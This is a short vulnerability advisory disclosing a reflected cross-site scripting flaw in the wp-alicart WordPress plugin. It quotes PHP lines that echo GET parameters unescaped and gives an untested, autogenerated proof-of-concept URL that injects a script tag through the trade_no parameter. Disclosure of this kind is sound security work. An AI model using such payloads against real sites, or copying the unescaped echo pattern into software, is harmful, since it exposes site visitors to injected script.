Advisory #: 85
Title: Reflected XSS in wordpress plugin wp-alicart v1.1.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-alicart
Downloads: 4269
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-alicart
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-alicart/return_url.php: 53: <td class="font_content" align="left"><?php echo $_GET['trade_no']; ?></td> 57: <td class="font_content" align="left"><?php echo $_GET['out_trade_no']; ?></td> 61: <td class="font_content" align="left"><?php echo $_GET['total_fee']; ?></td> 65: <td class="font_content" align="left"><?php echo $_GET['subject']; ?></td> 69: <td class="font_content" align="left"><?php echo $_GET['body']; ?></td> 73: <td class="font_content" align="left"><?php echo $_GET['buyer_email']; ?></td> 77: <td class="font_content" align="left"><?php echo $_GET['trade_status']; ?></td> The variable trade_no appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-alicart/return_url.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-alicart/return_url.php?trade_no="><script>alert(1);</script><"